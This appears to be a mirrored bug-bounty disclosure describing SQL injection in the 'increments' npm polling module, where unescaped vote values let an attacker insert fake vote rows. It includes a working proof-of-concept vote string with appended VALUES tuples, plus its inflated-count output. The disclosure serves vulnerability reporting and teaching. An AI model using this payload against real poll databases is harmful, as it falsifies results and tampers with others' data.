Skip to content
SQL injection Disclosed report Intermediate

[increments] sql injection

The increments npm module does not escape the data passed when recording a vote, so a crafted vote value is interpreted as SQL. An attacker could inject extra rows to create fake votes and skew poll results.

verichains Follow

Originally disclosed on HackerOne

High 8.6 View original
  • Triaged in 19 days
  • Fixed in 10 months
  • Disclosed after 11 months

I would like to report SQL Injection in increments. It allows creating fake polls.

Module

module name: increments version: 1.2.1 npm page: https://www.npmjs.com/package/increments

Module Description

Increment is a database-driven for creating polls and taking votes for various options, candidates, or parties. Using MongoJS collections as a storage framework, Increments offers in-depth statistical data on generated polls.

Module Stats

[45] downloads in the last week

Vulnerability

Vulnerability Description

This module does not escape voting data allowing attacker to create fake votes.

Steps To Reproduce:

  • npm install increments
  • run poc:
JavaScript
const increments = require('increments');
increments.setup('mysql://root:@localhost:3306/test');
increments.poll('fruits', [{name:'Apples'},{name:'Bananas'},{name:'Oranges'},{name:'Pears'}]);
increments.vote('fruits', 'Oranges","0","0","1","0","0","0","0","","0")'+',(123,"Oranges","0","0","1","0","0","0","0","","0")'.repeat(10)+'#');
increments.statistics('fruits', function(e, f) {
	console.log( f.projectedWinner );
	process.exit(0);
});

Output:

{ name: 'Oranges',
  id: 'oranges',
  color: undefined,
  count: 11,
  percentage: 100 }

Supporting Material/References:

State all technical information about the stack where the vulnerability was found

  • MacOS
  • 8.12.0
  • 6.4.1

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Impact

SQL Injection.

The original report as published on HackerOne, by verichains. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could inject SQL through the vote value and create fake votes, distorting poll results.

What the attacker needed

Ability to submit a vote to a poll

How it was found

  1. Install the increments module.
  2. Set up the module against a database and create a poll with several options.
  3. Submit a vote whose option value contains crafted database syntax.
  4. Read the poll statistics and observe the inflated vote count.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The module builds database commands by gluing together text, including whatever the voter supplies. If a voter types special database characters instead of a normal choice, the database treats them as instructions rather than data. That lets someone add votes that were never really cast.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by verichains

View all

3 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.